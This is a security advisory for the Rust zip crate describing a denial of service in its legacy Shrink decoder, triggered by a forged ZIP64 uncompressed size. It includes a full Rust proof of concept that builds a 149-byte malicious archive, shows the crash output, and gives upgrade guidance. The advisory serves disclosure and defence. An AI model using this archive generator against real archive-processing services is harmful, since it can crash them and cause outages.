GHSA-9hj8-73fh-9963: zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
Summary
A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.
Details
When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:
rust if !self.streamread { self.streamread = true; let mut compressedbytes = Vec::new(); self.compressedreader.readtoend(&mut compressedbytes)?; self.stream.reserve(self.uncompressedsize as usize); hwunshrink( &compressedbytes, self.uncompressedsize as usize, &mut self.stream, )?; }
In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.
self.uncompressedsize is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.
The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().
The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.
PoC
Create a new Cargo project with the following layout:
text zip2-legacy-poc/ |-- Cargo.toml -- src/ -- main.rs
Use this Cargo.toml:
toml [package] name = "zip2-legacy-poc" version = "0.1.0" edition = "2024" publish = false
[dependencies] tempfile = "3" zip = { version = "=8.6.0", features = ["legacy-zip"] }
Use this src/main.rs:
rust use std::fs::File; use std::io::{Cursor, Write};
fn push16(out: &mut Vec<u8>, value: u16) { out.extendfromslice(&value.tolebytes()); }
fn push32(out: &mut Vec<u8>, value: u32) { out.extendfromslice(&value.tolebytes()); }
fn push64(out: &mut Vec<u8>, value: u64) { out.extendfromslice(&value.tolebytes()); }
fn zip64extra() -> Vec<u8> { let mut extra = Vec::new(); push16(&mut extra, 0x0001); push16(&mut extra, 16); push64(&mut extra, u64::MAX); push64(&mut extra, 1); extra }
fn archive() -> Vec<u8> { let name = b"entry"; let extra = zip64extra(); let mut out = Vec::new();
push32(&mut out, 0x04034b50); push16(&mut out, 45); push16(&mut out, 0); push16(&mut out, 1); // Shrink compression. push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, u32::MAX); push32(&mut out, u32::MAX); push16(&mut out, name.len() as u16); push16(&mut out, extra.len() as u16); out.extendfromslice(name); out.extendfromslice(&extra); out.push(0);
let centralstart = out.len() as u32;
push32(&mut out, 0x02014b50); push16(&mut out, 45); push16(&mut out, 45); push16(&mut out, 0); push16(&mut out, 1); // Shrink compression. push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, u32::MAX); push32(&mut out, u32::MAX); push16(&mut out, name.len() as u16); push16(&mut out, extra.len() as u16); push16(&mut out, 0); push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, 0); out.extendfromslice(name); out.extendfromslice(&extra);
let centralsize = out.len() as u32 - centralstart;
push32(&mut out, 0x06054b50); push16(&mut out, 0); push16(&mut out, 0); push16(&mut out, 1); push16(&mut out, 1); push32(&mut out, centralsize); push32(&mut out, centralstart); push16(&mut out, 0); out }
fn main() -> Result<(), Box<dyn std::error::Error>> { let bytes = archive(); File::create("poc.zip")?.writeall(&bytes)?;
let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?; let entry = archive.byindex(0)?;
println!( "method={:?} declaredsize={}", entry.compression(), entry.size() );
drop(entry);
let output = tempfile::tempdir()?; archive.extract(output.path())?; Ok(()) }
Run the reproducer in release mode:
sh cd zip2-legacy-poc RUSTBACKTRACE=1 cargo run --release
Observed output with zip 8.6.0 on x8664-unknown-linux-gnu:
text method=Shrink declaredsize=18446744073709551615
thread 'main' panicked at .../alloc/src/rawvec/mod.rs: capacity overflow
The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extractinternal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.
Impact
Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.
- zip::read::ZipArchive::extract
Other sources
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
— OSV
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
rust/zipto a version that resolves this vulnerability.Fixed in 9.0.0 - Upgrade
Upgrade
zipto a version that resolves this vulnerability.Fixed in 9.0.0
Event History
Frequently Asked Questions
Which applications are exposed in practice?
Applications using rust/zip are exposed when they enable the legacy-zip Cargo feature and call ZipArchive::extract() on ZIP archives an attacker can control. The affected legacy codecs are compiled only when legacy-zip is enabled.
What does an attacker need to supply?
The attacker needs to provide a ZIP archive containing a Shrink-compressed ZIP64 entry with a manipulated declared uncompressed size. The archive metadata supplies the uncompressed size used for output-capacity reservation.
How can I determine whether my application is affected?
Check whether your build enables the legacy-zip Cargo feature and whether application code invokes ZipArchive::extract(). Exposure is most relevant where that extraction path processes untrusted or externally supplied ZIP files.